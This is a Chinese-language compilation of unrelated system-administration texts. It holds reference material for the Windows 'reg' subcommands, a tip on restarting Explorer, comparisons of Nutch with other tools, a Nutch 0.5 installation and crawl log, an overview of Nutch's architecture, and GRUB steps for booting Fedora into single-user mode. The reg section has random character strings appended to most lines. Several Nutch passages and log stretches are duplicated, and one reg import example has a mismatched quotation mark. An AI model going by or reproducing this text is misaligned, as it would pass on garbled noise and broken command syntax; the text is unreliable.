0 成功 E - mG@/PyDtC)-ESAI8W"+
1 失败 j&Zt2H/wh4$)J| U},{ QF}G5jb
0:F~ >Vs_$u\e&S!lQv1f=9p@L
范例 }!Ylq@r1NwDOR&r=pS&j #J
下面的范例说明了如何使用 reg export 命令: 1L;7]d’dFOsxl_[*4DlP]2MPE
R&}[T >q0*_ K4JH$n(ut
reg export "hkcu\software\microsoft\winmine" c:\data\regbackups\wmbkup.reg RPm{?5 Xl^':c="UI{bXO}W|
WRK< W#Loj JYau EA=IB a}
reg import <ceJ=nq ^nQ?n~$#Uan 3J
O1*p _GGo~qrt8Ip.vd
将包含导出的注册表子项、项和值的文件复制到本地计算机的注册表中。 wVIk*~,n v3f13+t~_Xq;j^
Q<z=#)Um]-?c=JqZ+K xVW"$9]xE%
语法 s6Ko2.af#ss}’225 6
reg import FileName Rd&L,{A X`wK saD4Xo
g4`Jqt[1Z.{-#!r2`Pe~cjSCgM
参数 P%R$Q`u*{&]lg|)Ve0O:A3\?|X,$
FileName [VKL9g !z3M~+MSTpuGN[Z
指定将复制到本地计算机注册表中的文件的名称和路径。必须预先使用 reg export 命令创建该文件。 RI;If#kn{X%"w;}1\xNWNN
/? i707wwv` dp$a0lm2jlcoibev2R
在命令提示符显示帮助。 O|WEcv*#y W[7HQ}Ei -O2
注释 I. l>e er'}a>lK :XDJKg}.$"
下表列出了 reg import 操作的返回值。 值 说明 c}<L^YMg?)*S7Rvm)&aIm
0 成功 ":/^'^~.G+;| xPTtwEF
1 失败 duRyL90UQUB!b({!X;fkCRS.9
pA Xc(Z9AN'%jd_>>XFo
范例 b].!efP\X}1~c:QbY6@2&qx’so|
下面的范例说明了如何使用 reg import 命令: dl1*cZg#f+>C6%TiQ5 4w
C/n >oU(Lf v-7CR}&-|e
reg import hkcu\software\microsoft\winmine" c:\data\regbackups\wmbkup.reg G T_q<j^jUj}$$ 9"_Y-2 v~^
Q.fO5m)9}:E\Y’R6%DlPG@a1Yt
n>
reg load #V1;DC>XdyZ/:vNpZ [#?.Vv~M
o{G\t-[B 0*_NTh:%PO_CN
将保存的子项和项写回到注册表的不同子项中。其目的是保存到一个临时文件中,而该文件可用于注册表项的疑难解答或编辑注册表项。 H'H"G%|r;QFrEk\Fl%TlOwLP
9!1y#](ydFZ|4s2Qkj T
语法 {-’S2e |L$KKM4lX0*<
reg load KeyName FileName $6:>K21q^>RRkscRiGA[Yv
#GKR9f{6#F33K^+6o"YN)hIRo
参数 J%0-U+ze?EbMY`D #'kO0f
KeyName UL+).`?82/Q!YS!?v7xDE4$
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 v@[1@ *n bD'0Yfn*B;FAj)?q
FileName L?Wus[p 4Q5 [ b; Xex`W
指定要加载的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作创建该文件。 nhu"/5cH5=IY,h0a >}R'kE@UT_
/? /OLTT|Ep&Oh6OI 7(9k#&'B
在命令提示符显示帮助。 K i=^# V7mDE<]2Xa`UJOeO
注释 22 V&V"KP-s#b<N@79+’f)h
下表列出了 reg load 操作的返回值。 值 说明 HE{P4.fu1OO>UdM/ S- W
0 成功 .?ek_> <A’e;$NhXWDe*Xb’Aqq<
1 失败 |NAy&*-j}I X BCV1)\zC?}`g
zB’ syT#6?&7\)^Yu9e)W n!
范例 gGiY{N#A"<jI_md9<p^fcH m%
下面的范例说明了如何使用 reg load 命令: \#lI4/v" .w&"F.uyQ@^8e ]"G>
u9gt} F}aIG2G6[RiLDtb?
reg load "hkcu\software\microsoft\winminebk2" wmbkup.hiv tZ+EHuY/GHLvBR 5!JV;n>
3 vf0:w_J@92SU2'r Dc=S
reg query C,`Ql0'py/hO|6 Y4O]g 1
[QI u &dd<ej.`a?o/jo=cuf
返回注册表的子项下的项和下一层子项的列表。 #9/}kee _Gx$kr1@>;,2]F-
TF4Rjn[f|'!9 A>rTW,K
语法 O.R*Vm2,z>0~-9SFL5t*/8l
reg query KeyName [{/v EntryName|/ve}] [/s] WtX8WfR@Jn&.)S(t%V(QgIFuD
F AFh ; rXSR(RcL.}A c
参数 ^hn5G!m2A’]>IycW1.THe
KeyName [0M;tECJPXQiTbUB 6.^\E^ZL!
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 <PlgQq gl rK$.fni^X+Y
/v EntryName |OaU >-CTI #[Ya teCXa4&ZW
返回特定的项及其值。该参数只返回直接位于指定子项的下一层中的项。将会找不到当前子项下的子项中的项。如果省略 EntryName,则将返回子项下的所有项。 mK\^/=9 ;:<#'`'0QY" O
/ve I@|B. h]G/(&",-)"G{|’mio
指定仅返回为空值的项。 "d7y<HX2e}; >y ~ yW?mD:SF?
/s -b&zo~~gH2&c> )n+ yJ3slL
将返回各个层中的所有子项和项。如果不使用该参数,将只返回下一层的子项和项。 c0AYxevd"^Iw(-m)EDy.2x+
/? q_*aMke1^ )#PpC9b 66`H}|b
在命令提示符显示帮助。 5\;#E/[Sjc7*-:D5@=> $ Ya[t|
注释 hf6x!7toewq3ny gJH)EqvGpk
下表列出了 reg query 操作的返回值。 值 说明 0"a l jo i M>1,tF95t8 M59
0 成功 xtqm%))N9/oEs7A< P04f1S4@s
1 失败 *'0.!w))WY=/^2n}eDc2 V:tv^Pj
Wxe#5"-(C{L\" ou*8RA<Aj
范例 $Y9p5*MdZzqrk V\zVh8$'V
下面的范例说明了如何使用 reg query 命令: imqB*A9(Imq|Ar8B <ct6E
;:m/XF;i@seuZNF+$tjz30E (
reg query "hklm\system\currentcontrolset\control\session manager" /v maxstacktracedepth SbhWiQh^(W%NJ3,oKk[e=N+E
9 U;'< 2aXrpUAN_;%$yQA
reg query "hkcu\software\microsoft\winmine" /s 9?@y('Y>)n8~G9@YOb>NJ+]*%
pw(,a}AGsrQWO tf^=HB
reg restore +0grwWb 25 )>k@[ ~?M2r9
g/x!Y.".Y8y'b>o+FWO:!,D
将保存的子项和项写回到注册表。 6*0pb #(+`s8UJSV+mz.ng[[
H z{jWv5h Dx-#sa1Yt*Fs
语法 wJ w":]L>{.R-CY{)gwLe)
reg restore KeyName FileName vph zI5@W77#D@r{p9_p&+Y y
w :fq9 )bd\IlNN6UfFB}<+)v
参数 &9f"O>x<s`#:{X]H$ L’L
KeyName =/Tz{KKN 8`DBViUN{MOVDcho
指定子项的完全路径。Restore 操作仅在本地计算机上工作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 no j62V{8*hdxdv!3cvayD,#
FileName bU6 -UFUSCvWV+2[BI-~s8ny
指定将写回到注册表中的文件的名称和路径。必须使用带 .hiv 扩展名的 reg save 操作预先创建该文件。 .YPxfd)F`&Ppi~v,X?7?Gi+y$k
/? y]?oU"z3 WH`$snWMIB’ *nxO
在命令提示符显示帮助。 =Grzn@}AM`n((fc R>P03NScD
注释 Q(~Y>23d w(WCv?v=D^{rD1t[>
该操作用于覆盖已编辑的注册表项。编辑注册表项之前,请使用 reg save 操作保存父亲子项。如果编辑失败,则可以使用本操作恢复子项。 FK{YW la\~P&gR#Qab:s3Zc
下表列出了 reg restore 操作的返回值。 值 说明 & `^WDY'zS]NRU*tyi)tSzehv/
0 成功 Dv1xrtOIN4376W | ul<#y15
1 失败 HhL\_07\cq$ok"Zv4Qsz7Z
e) H[(<s/Th?xSNS&T'#[
范例 `2U7nRXeC"l6DC-h}N?&!+X
下面的范例说明了如何使用 reg restore 命令: gd."z xKw1#\`Q@ T)kB@#Y?
2=6 gd RR7vP3 \N_~dW(n;
reg restore "hkcu\software\microsoft\winmine" wmbkup.hiv _nXm[_U2 i*lDIa[*6@Hz76 4
m]`_.KW-N e@%o]Cb{}_y]G
reg save Ia viW/NyxXVoHmr[j{w4nt ;-
zz7G,tQra<6J4so1u6bsT,^#
将指定的子项、项和注册表值的副本保存到指定文件中。 + X p^p.TcyQ|TyipnVWb(
G4j"R%@+,yu<f,cXBT RV'}4
语法 }LO5e2:2S!.P4%% 0`Yc4
reg save KeyName FileName /1*J @Ek1y.XCfyjVTATV} )U
Ej9_FO- 0SZ?LA=kv*U: APafp
参数 D \'zcO 9W^A$ .t!ag)r$"L*
KeyName \E~vd>F$S=D1 {R>{8
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 etm 89>A U1Ur1$e']*wv
FileName :2’zXn7=G/[cVekEI*Q2nbfy
指定所创建的文件的名称和路径。如果未指定路径,则使用当前路径。 {SIWdp1V7(d-i8#X+V tb<dG
/? Nk9?)$G,_H]Nbr~Tbzyr%x)n1J
在命令提示符显示帮助。 ^Rx"J Kh’50TlOgA;"E3ZU`W0^
注释 HY2!1M]mZtc $; :3qx
下表列出了 reg save 操作的返回值。 值 说明 MJ*>7@Ovwr’ $b$E-mRw0HP5Jrp"
0 成功 5_k}4=’R. yi][5@X%DT?
1 失败 5<s\FPcH>_;F*9k]H M Y;}hs
yK@7{O q0W(<#1e E!’*fbRL\MK
范例 OT/Cq+ck"`k%*:e )t’T*w@
下面的范例说明了如何使用 reg save 命令: bxO-%Q|i>c*{fJgzgVGmWmk
J/’oW]6K!tu&}f)H K&ULcv]
reg save "hkcu\software\microsoft\winmine" wmbkup.hiv 6 (}"=UJoVC:Ps@_!.:!7St
ac%3]W#@`eDy/ r?g?0c}BEwZ$
reg unload d*QSsiB?^)Ovgcr7]=pdf:
fdNC7 AK{/vgP O.5′X270 `
使用 reg load 操作删除已加载的部分注册表。 lzJfWu \+%;Mx$;mk)pfgr;S- N
onOPWF’G>H$@’y1Lu>ZGyiU6
语法 f*j~~7w3mQ=X2]:1 Sb_pr=c5
reg unload KeyName ‘Q;>&aTQo6"S7oLMrEhl)dEQE
n*,s&’gFV0a>QFdP5[Q)&h
参数 bJIhLr s4(e aFppD.`*_P
KeyName !3E:v<J/|YP>rN3Kyv$4c0Y
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 @KQ8x/?zc[ugQ%nV*NPy@T
/? >\Jwaf2? Y a6Z/n/KO!EU$<
在命令提示符显示帮助。 zgqDl4:fZ}=-0BrC$0td tn
注释 f?z*GGX_Iwe-MPGr-cF5pq
下表列出了 reg unload 操作的返回值。 值 说明 "D1Qql+lLb~Q5y#)bn|kb_<:h
0 成功 *ale6B [mG_5@"(Q#"Cr9&FHx
1 失败 t;z_Uu:UL vX D{EJoI_ E.
`n{ZL_ZSSD#kW+\S-H!JoJ
范例 $2[?SLAT=H+^& <_%X1$vmd
下面的范例说明了如何使用 reg unload 命令: dx&quo
t;B2uAGB;BF^J<TN/e~3M
97K=-) e'gmFH+:b)Eg-/
reg unload "hkcu\software\microsoft\winminebk2" 0t${d]<y0Y dX;M’U6Q7qL?{ f
C8w$Uy1l`G^`eUBErtWky pw
小心 XM2M~3f8gc<Ms8 aW#p])LKBH
W!<uw1u5UaU|9 Q"TPXDS~r
编辑注册表不当可能会严重损坏您的系统。在更改注册表之前,应备份计算机上任何有价值的数据。 7{ucY\2tQ.Xq0,55*t9fbLDS]h
小心 v{pn @xqUVNjZ/9′YxlUZ
%uR{:rr G~m-gyVi|{thV 7
只有在别无选择的情况下,才直接编辑注册表。注册表编辑器会忽略标准的安全措施,从而使得这些设置会降低性能、破坏系统,甚至要求用户重新安装 Windows。可以利用"控制面板"或"Microsoft 管理控制台 (MMC)"中的程序安全更改多数注册表设置。如果必须直接编辑注册表,则请首先将其备份。详细信息,请参阅"注册表编辑器帮助"。 T#!6AU7Ae1 ,r&YAQ7:"4 EE
注释 Qu"h"oL-P v?UzvWzs’N*r
使用 Reg 直接编辑本地或远程计算机的注册表。这些更改有可能造成计算机无法操作并需要重新安装操作系统。所以不要直接编辑注册表,而应尽可能利用"控制面板"或"Microsoft 管理控制台 (MMC)"更改注册表。 O/b+9T5g@1I 9vZsk-cM?5nGM
有些操作可以查看或配置本地或远程计算机的注册表项,而另外一些则只允许配置本地计算机的注册表设置。同时,远程访问注册表也可能会限制用于某操作的参数。请检查每个操作的语法以便验证该操作可以用于远程计算机,以及验证可用于那种情况下的参数。 3D{MbX@P&Ux&6V\kGxw
#{Ql_) ^p[[ZQ(\tVk >@
让Windows注册表修改快速生效 s9W$h-UaSa'T-.v)m J4OU_n4>
"+$H>c77QOyN^`8)f4&1vpLFt
当我们修改了注册表,许多情况下只按下F5键刷新注册表还不足以使修改生效,而需要重新启动计算机。其实我们不必每次都重启机器,只需运行Windows的外壳程序Explorer即可(在Windows 9x/Me和Windows 2000/XP中的操作有所不同)。 r9W=0h"u!<AP{Q#4 L'<5u
V *~F[ugUvz_ri2jgHLh
在Windows 9x/Me中 -cN9i~yVg7aQW NB uNb=q`d
n0 =bu E'7Wv7*HIo50wbH]t
按下"Ctrl+Alt+delete"组合键,在弹出的窗口中选择"Explorer",并点击"结束任务"按钮,这时屏幕会出现"关机"菜单,不要做任何操作,在再次弹出的窗口中点击"结束任务"按钮,即可让Windows在不重新启动的情况下快速刷新注册表。 PN,aK@M`PyQ1(UQ%e\<}
#>4QOG<U:’6R<^o~CGI"{rBy]
在Windows 2000/XP中 ?`, \9:9"%E:EyJMSw>r0a*
8n{qGk;6U,{VtlQ7Q.`>3,Tg
按下"Ctrl+Alt+delete"组合键,打开"任务管理器",单击"进程"标签,找到并单击其中的"Explorer.exe",点击右下方的"结束进程"按钮,在打开的警告对话框中单击"是"按钮。然后再单击"应用程序"标签,单击下方的"新任务"按钮,在打开的"创建新任务"对话框中输入"Explorer.exe",再按下"确定"按钮即可
Nutch vs Lucene
Lucene 不是完整的应用程序,而是一个用于实现全文检索的软件库。
Nutch 是一个应用程序,可以以 Lucene 为基础实现搜索引擎应用。
Nutch vs GRUB
GRUB 是一个分布式搜索引擎(参考)。用户只能得到客户端工具(只有客户端是开源的),其目的在于利用用户的资源建立集中式的搜索引擎。
Nutch 是开源的,可以建立自己内部网的搜索引擎,也可以针对整个网络建立搜索引擎。自由(Free)而免费(Free)。
Nutch vs Lucene
Lucene 不是完整的应用程序,而是一个用于实现全文检索的软件库。
Nutch 是一个应用程序,可以以 Lucene 为基础实现搜索引擎应用。
Nutch vs GRUB
GRUB 是一个分布式搜索引擎(参考)。用户只能得到客户端工具(只有客户端是开源的),其目的在于利用用户的资源建立集中式的搜索引擎。
Nutch 是开源的,可以建立自己内部网的搜索引擎,也可以针对整个网络建立搜索引擎。自由(Free)而免费(Free)。
Nutch vs Larbin
"Larbin只是一个爬虫,也就是说larbin只抓取网页,至于如何parse的事情则由用户自己完成。另外,如何存储到数据库以及建立索引的事情 larbin也不提供。[引自这里]
Nutch 则还可以存储到数据库并建立索引。
[引自这里]
Nutch 的早期版本不支持中文搜索,而最新的版本(2004-Aug-04 发布了 0.5)已经做了很大的改进。相对先前的 0.4 版本,有 20 多项的改进,结构上也更具备扩展性。0.5 版经过测试,对中文搜索支持的也很好。
下面是我的测试过程。
前提条件(这里Linux 为例,如果是 Windows 参见手册):
[root@fc3 ~]# export NUTCH_JAVA_HOME=/u01/app/oracle/product/10.1.0/db_1/jdk/jre
首先下载最新的稳定版:
[root@fc3 ~]# wget http://www.nutch.org/release/nutch-0.5.tar.gz
解压缩:
[root@fc3 ~]# tar -zxvf nutch-0.5.tar.gz ...... [root@fc3 ~]# mv nutch-0.5 nutch
测试一下 nutch 命令:
[root@fc3 nutch]# bin/nutch Usage: nutch COMMAND where COMMAND is one of: crawl one-step crawler for intranets admin database administration, including creation inject inject new urls into the database generate generate new segments to fetch fetchlist print the fetchlist of a segment fetch fetch a segment's pages dump dump a segment's pages index run the indexer on a segment's fetcher output merge merge several segment indexes dedup remove duplicates from a set of segment indexes updatedb update database from a segment's fetcher output mergesegs merge multiple segments into a single segment readdb examine arbitrary fields of the database analyze adjust database link-analysis scoring server run a search server or CLASSNAME run the class named CLASSNAME Most commands print help when invoked w/o parameters. [root@fc3 nutch]#
Nutch 的爬虫有两种方式
以本站(http://www.dbanotes.net)为例,先进行一下针对企业内部网的测试。
在 nutch 目录中创建一个包含该网站顶级网址的文件 urls ,包含如下内容:
http://www.dbanotes.net/
然后编辑conf/crawl-urlfilter.txt 文件,设定过滤信息,我这里只修改了MY.DOMAIN.NAME:
# accept hosts in MY.DOMAIN.NAME +^http://([a-z0-9]*\.)*dbanotes.net/
运行如下命令开始抓取分析网站内容:
[root@fc3 nutch]# bin/nutch crawl urls -dir crawl.demo -depth 2 -threads 4 >& crawl.log
depth 参数指爬行的深度,这里处于测试的目的,选择深度为 2 ;
threads 参数指定并发的进程 这是设定为 4 ;
在该命令运行的过程中,可以从 crawl.log 中查看 nutch 的行为以及过程:
...... 050102 200336 loading file:/u01/nutch/conf/nutch-site.xml 050102 200336 crawl started in: crawl.demo 050102 200336 rootUrlFile = urls 050102 200336 threads = 4 050102 200336 depth = 2 050102 200336 Created webdb at crawl.demo/db ...... 050102 200336 loading file:/u01/nutch/conf/nutch-site.xml 050102 200336 crawl started in: crawl.demo 050102 200336 rootUrlFile = urls 050102 200336 threads = 4 050102 200336 depth = 2 050102 200336 Created webdb at crawl.demo/db 050102 200336 Starting URL processing 050102 200336 Using URL filter: net.nutch.net.RegexURLFilter ...... 050102 200337 Plugins: looking in: /u01/nutch/plugins 050102 200337 parsing: /u01/nutch/plugins/parse-html/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/parse-pdf/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/parse-ext/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/parse-msword/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/query-site/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/protocol-http/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/creativecommons/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/language-identifier/plugin.xml 050102 200337 parsing: /u01/nutch/plugins/query-basic/plugin.xml 050102 200337 logging at INFO 050102 200337 fetching http://www.dbanotes.net/ 050102 200337 http.proxy.host = null 050102 200337 http.proxy.port = 8080 050102 200337 http.timeout = 10000 050102 200337 http.content.limit = 65536 050102 200337 http.agent = NutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html; n utch-agent@lists.sourceforge.net) 050102 200337 fetcher.server.delay = 1000 050102 200337 http.max.delays = 100 050102 200338 http://www.dbanotes.net/: setting encoding to GB18030 050102 200338 CC: found http://creativecommons.org/licenses/by-nc-sa/2.0/ in rdf of http: //www.dbanotes.net/ 050102 200338 CC: found text in http://www.dbanotes.net/ 050102 200338 status: 1 pages, 0 errors, 12445 bytes, 1067 ms 050102 200338 status: 0.9372071 pages/s, 91.12142 kb/s, 12445.0 bytes/page 050102 200339 Updating crawl.demo/db 050102 200339 Updating for crawl.demo/segments/20050102200336 050102 200339 Finishing update 64,1 7% 050102 200337 parsing: /u01/nutch/plugins/query-basic/plugin.xml 050102 200337 logging at INFO 050102 200337 fetching http://www.dbanotes.net/ 050102 200337 http.proxy.host = null 050102 200337 http.proxy.port = 8080 050102 200337 http.timeout = 10000 050102 200337 http.content.limit = 65536 050102 200337 http.agent = NutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html; n utch-agent@lists.sourceforge.net) 050102 200337 fetcher.server.delay = 1000 050102 200337 http.max.delays = 100 ......
之后配置 Tomcat (我的 tomcat 安装在 /opt/Tomcat) ,
[root@fc3 nutch]# rm -rf /opt/Tomcat/webapps/ROOT* [root@fc3 nutch]# cp nutch*.war /opt/Tomcat/webapps/ROOT.war [root@fc3 webapps]# cd /opt/Tomcat/webapps/ [root@fc3 webapps]# jar xvf ROOT.war [root@fc3 webapps]# ../bin/catalina.sh start
浏览器中输入 http://localhost:8080 查看结果(远程查看需要将 localhost 换成相应的IP):

搜索测试:

可以看到,Nutch 亦提供快照功能。下面进行中文搜索测试:

注意结果中的那个“评分详解”,是个很有意思的功能(Nutch 具有一个链接分析模块),通过这些数据可以进一步理解该算法。
考虑到带宽的限制,暂时不对整个Web爬行的方式进行了测试了。值得一提的是,在测试的过程中,nutch 的爬行速度还是不错的(相对我的糟糕带宽)。
Nutch 目前还不支持 PDF(开发中,不够完善) 与 图片 等对象的搜索。中文分词技术还不够好,通过“评分详解”可看出,对中文,比如“数据库管理员”,是分成单独的字进行处理的。但作为一个开源搜索引擎软件,功能是可圈可点的。毕竟,主要开发者 Doug Cutting 就是开发 Lucene 的大牛
参考信息
Nutch是开放源代码的,因此任何人都可以查看他的排序算法是如何工作的。商业的搜索引擎排序算法都是保密的,我们无法知道为什么搜索出来的排序结果是如何算出来的。更进一步,一些搜索引擎允许竞价排名,比如百度,这样的索引结果并不是和站点内容相关的。因此 Nutch 对学术搜索和政府类站点的搜索来说,是个好选择。因为一个公平的排序结果是非常重要的。
了解一个大型分布式的搜索引擎如何工作是一件让人很受益的事情,但是我们并没有google的源代码,因此学习搜索引擎Nutch是个不错的选择。Nutch的核心部分目前已经被重新用 Map Reduce 实现,而Map Reduce 是一个分布式的处理模型,最先是从 Google 实验室提出来的。
Nutch吸引了很多研究者,他们非常乐于尝试新的搜索算法,因为对Nutch 来说,这是非常容易实现扩展的。Nutch 非常灵活,它可以被很好地客户订制并集成到应用程序中。使用插件机制,Nutch可以作为一个搜索不同信息载体的搜索平台。当然,最简单的就是集成Nutch到你的站点,为用户提供搜索服务。
下面分析一下Nutch搜索引擎系统的特点。
一、系统架构
总体上Nutch可以分为2个部分:抓取部分和搜索部分。抓取程序抓取页面并把抓取回来的数据做成反向索引,搜索程序则对反向索引搜索回答用户的请求。抓取程序和搜索程序的接口是索引,两者都使用索引中的字段。抓取程序和搜索程序可以分别位于不同的机器上。下面详细介绍一下抓取部分。
抓取部分:
抓取程序是被Nutch的抓取工具驱动的。这是一组工具,用来建立和维护几个不同的数据结构: web database, a set of segments, and the index。下面逐个解释这三个不同的数据结构:
1、The web database, 或者WebDB。这是一个特殊存储数据结构,用来映像被抓取网站数据的结构和属性的集合。WebDB 用来存储从抓取开始(包括重新抓取)的所有网站结构数据和属性。WebDB 只是被 抓取程序使用,搜索程序并不使用它。WebDB 存储2种实体:页面 和 链接。页面 表示 网络上的一个网页,这个网页的Url作为标示被索引,同时建立一个对网页内容的MD5 哈希签名。跟网页相关的其它内容也被存储,包括:页面中的链接数量(外链接),页面抓取信息(在页面被重复抓取的情况下),还有表示页面级别的分数 score 。链接 表示从一个网页的链接到其它网页的链接。因此 WebDB 可以说是一个网络图,节点是页面,链接是边。
2、Segment 。这是网页的集合,并且它被索引。Segment的Fetchlist 是抓取程序使用的url列表,它是从 WebDB中生成的。Fetcher 的输出数据是从 fetchlist 中抓取的网页。Fetcher的输出数据先被反向索引,然后索引后的结果被存储在segment 中。 Segment的生命周期是有限制的,当下一轮抓取开始后它就没有用了。默认的 重新抓取间隔是30天。因此删除超过这个时间期限的segment是可以的。而且也可以节省不少磁盘空间。Segment 的命名是日期加时间,因此很直观的可以看出他们的存活周期。
3、The index。索引库是反向索引所有系统中被抓取的页面,它并不直接从页面反向索引产生,而是合并很多小的segment的索引产生的。Nutch 使用 Lucene 来建立索引,因此所有Lucene相关的工具 API 都用来建立索引库。需要说明的是Lucene的segment 的概念和Nutch的segment概念是完全不同的,不要混淆。简单来说 Lucene 的 segment 是 Lucene 索引库的一部分,而Nutch 的Segment是WebDB中被抓取和索引的一部分。
抓取过程详解:
抓取是一个循环的过程:抓取工具从WebDB中生成了一个 fetchlist 集合;抽取工具根据fetchlist从网络上下载网页内容;工具程序根据抽取工具发现的新链接更新WebDB;然后再生成新的fetchlist;周而复始。这个抓取循环在nutch中经常指: generate/fetch/update 循环。
一般来说同一域名下的 url 链接会被合成到同一个 fetchlist。这样做的考虑是:当同时使用多个工具抓取的时候,不会产生重复抓取的现象。Nutch 遵循 Robots Exclusion Protocol, 可以用robots.txt 定义保护私有网页数据不被抓去。
上面这个抓取工具的组合是Nutch的最外层的,也可以直接使用更底层的工具,自己组合这些底层工具的执行顺序达到同样的结果。这是Nutch吸引人的地方。下面把上述过程分别详述一下,括号内就是底层工具的名字:
1、创建一个新的WebDB (admin db -create)。
2、把开始抓取的跟Url 放入WebDb (inject)。
3、从WebDb的新 segment 中生成 fetchlist (generate)。
4、根据 fetchlist 列表抓取网页的内容 (fetch)。
5、根据抓取回来的网页链接url更新 WebDB (updatedb)。
6、重复上面3-5个步骤直到到达指定的抓取层数。
7、用计算出来的网页url权重 scores 更新 segments (updatesegs)。
8、对抓取回来的网页建立索引(index)。
9、在索引中消除重复的内容和重复的url (dedup)。
10、合并多个索引到一个大索引,为搜索提供索引库(merge)。
在创建了一个新的WebDB后,抓取循环 generate/fetch/update 就根据最先第二步指定的根 url 在一定周期下自动循环了。当抓取循环结束后,就会生成一个最终的索引(第7步到第10步)。需要说明的是:上面第 8 步中每个 segment 的索引都是单独建立的,之后才消重(第9步)。第10步就是大功告成,合并单独的索引到一个大索引库。
Dedup 工具可以从 segment 的索引中去除重复的url。因为 WebDB 中不允许重复的url , 也就是说 fetchlist 中不会有重复的url,所以不需要对 fetchlist 执行 dedup 操作。上文说过,默认的抓取周期是30天,如果已经生成的旧 fetch 没有删除,而又生成了新的fetch 这是还是会出现重复的url的。当只有一个抓取程序运行的时候是不会发生上述情况的。
从上面的介绍可以看出,一般情况下我们只要从头执行的程序就可以了,不需要接触底层的工具。但是搜索引擎有很多“意外”,很多的时间需要花费在维护上,所以底层的工具也是需要掌握的。
作为一个Linux系统管理员,你可能会把Linux 超级用户密码遗忘了,把/etc/inittab或/etc/rc.d/rc.sysinit之类文件误编辑,导致系统不能正常启动的恼人错误?
而为了解决以上问题,你就需要进到linux根文件系统处于可读写状态的单用户模式下。
下面介绍在GRUB引导下进入Linux单用户模式的三种方式:
(1) 硬件环境:
intel P4 / 1G RAM / sata 80G
(2) 软件环境:
1)Fedora Core 3(以下简称为FC3)和Windows2000 advance server双系统
2)LVM管理Linux分区
3)/boot/grub/grub.conf文件内容:
# grub.conf generated by anaconda # # Note that you do not have to rerun grub after making changes to this file # NOTICE: You have a /boot partition. This means that # all kernel and initrd paths are relative to /boot/, eg. # root (hd0,2)
# kernel /vmlinuz-version ro root=/dev/VolGroup00/LogVol00 # initrd /initrd-version.img #boot=/dev/sda default=1 timeout=1000 splashimage=(hd0,2)/grub/splash.xpm.gz hiddenmenu title Fedora Core (2.6.9-1.667)
root (hd0,2)
kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 rhgb quiet initrd /initrd-2.6.9-1.667.img title windows 2000 adv rootnoverify (hd0,0)
chainloader +1
首先,启动电脑,屏幕出现如下提示:
Press any key to enter the menu Booting windows 2000 adv in 999 seconds…
按任一键跳过计时,进入下一步:
GNU GRUB version 0.95 (639K lower/103924K upper memory)
Fedora Core (2.6.9-1.667)
Windows 2000 adv
下面是GRUB的提示:
‘e’ 在booting前编辑启动命令行
‘a’ 在booting前编辑kernel的参数
‘c’进入grub命令行
由此按‘e’、a‘、’c‘三个不同的键,进入三种不同的操作:
1.快速法:
选择Fedora Core (2.6.9-1.667)菜单,
按a键:
grub append>ro root=/dev/VolGroup00/LogVol00 rhgb quiet
修改成:
grub append>ro root=/dev/VolGroup00/LogVol00 single quiet
按ENTER键完成修改并booting进入Linux单用户模式
sh-3.00#
2.简便法:
选择Fedora Core (2.6.9-1.667)菜单,
按e键:
root (hd0,2)
kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 rhgb quiet initrd /initrd-2.6.9-1.667.img选择kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 rhgb quiet命令行
按e键:
grub edit>kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 rhgb quiet
修改成:
grub edit>kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 single quiet
按ENTER键完成修改
按b键booting进入Linux单用户模式
sh-3.00#
3.手动法:
按c键进入grub命令行:
(在grub命令行下按TAB键可得到grub命令帮助与grub命令的可能选项)
grub>fstest (grub>filesystem tracing is now on grub>root (hd0,2) (
(指定保存有Linux 内核的分区为第一个硬盘的第三个分区)
grub>filesystem type is ext2fs,partition type 0×83 grub>kernel /vmlinuz-2.6.9-1.667 ro root=/dev/VolGroup00/LogVol00 single quiet (
(指定内核文件为/boot/vmlinuz-2.6.9-1.667,内核参数为ro—readonly, 根分区为/dev/VolGroup00/LogVol00,rhgb—图形方式启动,quiet—不输出启动信息)
grub>initrd /initrd-2.6.9-1.667.img (
(在内核启动前加载支持系统硬件设备的内核模块——initrd镜像文件——/boot/initrd-2.6.9-1.667.img,并初始化RAM disk)
grub>boot (
如果系统的配置与脚本文件正确,以上三种方式在Booting command-list中都会出现:
remounting root filesystem in read-write mode:[OK]
表示此时linux单用户模式下的根文件系统处于可读可写状态。
如果系统的配置与脚本文件出现错误,linux单用户模式下的根文件系统进入“read-only file system”既只读状态,此时,打入:
sh-3.00#mount –o remount rw –t ext3 /
让根文件系统重新mount成可读写,你就可以自由编辑出现错误的系统文件了。
